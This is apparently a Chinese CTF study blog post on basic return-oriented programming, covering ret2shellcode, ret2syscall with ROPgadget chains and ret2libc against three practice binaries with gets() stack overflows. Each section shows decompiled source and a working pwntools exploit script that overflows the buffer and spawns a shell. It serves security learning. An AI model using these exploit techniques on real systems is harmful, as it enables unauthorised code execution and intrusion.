pwn----basic_ROP(一)

痛苦的一下午,好多简单问题由于脑子转不过来,浪费了好多时间。
现在开始总结记牢一下,ctf-wiki大法好

1.关于shellcode

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名。

贴一个

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

emmmmm用checksec检查后,啥保护都没有
pwn----basic_ROP(一)_第1张图片
因为需要找到可以执行shellcode的地方(不能放gets的返回函数上),所以瞄准了buf2。并且很“巧”是,有个strncpy函数。则可以布局栈从而让bss具有shellcode

利用pwndbg的vmmap,可知buf2的bss段具有如下的权限
image.png
则可以利用gets栈溢出跳转到bss处然后执行shellcode从而得到shell
WA

from pwn import *
buf2_addr = 0x0804A080

sh = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
##利用pwn构造一个shellcode
payload = shellcode.ljust(108,'A') + p32(0) + p32(buf2_addr)
##基本的溢出构造
sh.sendlineafter('No system for you this time !!!\n',payload)
sh.interactive()

2.关于利用ROPgadget

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

这次没有系统调用函数了,得自己构建一个来获得shell
该程序是 32 位,所以我们需要使得

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
还有利用 int 80h

(如果为64位)

系统调用号不同
使用syscall调用指令
调用号传入rax,其他依次为rdi,rsi,rdx的顺序写入寄存器

利用工具ROPgadget可以获得很多的小gadget来形成一条rop链
之后布局栈即可
注意函数调用中参数的位置

WA

from pwn import *
sh = process("./rop")
pop_eax_addr = 0x080bb196
##pop eax 的rop地址 下面类似
pop_edx_ecx_ebx_addr = 0x0806eb90
binsh_addr = 0x080be408
int_addr = 0x08049421

payload = flat(['a'*108+p32(0),pop_eax_addr,0xb,pop_edx_ecx_ebx_addr,0,0,binsh_addr,int_addr])
##execve("/bin/sh",NULL,NULL)
sh.sendline(payload)
sh.interactive()

3.存在system但是参数不对但是有/bin/sh存在

需要自己去构造一个正确能得到shell的参数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets((char *)&v4);
  return 0;
}

检查一下保护机制
pwn----basic_ROP(一)_第2张图片
查看ida,发现有system函数,但是参数不对。

  1. 查找@plt中system的地址
  2. 用ROPgadget查找bin/sh
  3. 记得在中间随便加点东西(用来替代正常调用被调函数时保存的主调函数的位置)

WA

from pwn import *

sh = process('./ret2libc1')
##分别可以ROPgadget和ida得到
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
##利用gets的溢出
sh.sendline(payload)

sh.interactive()

剩下的明天继续哈哈哈哈哈哈哈

你可能感兴趣的:(安全ctf)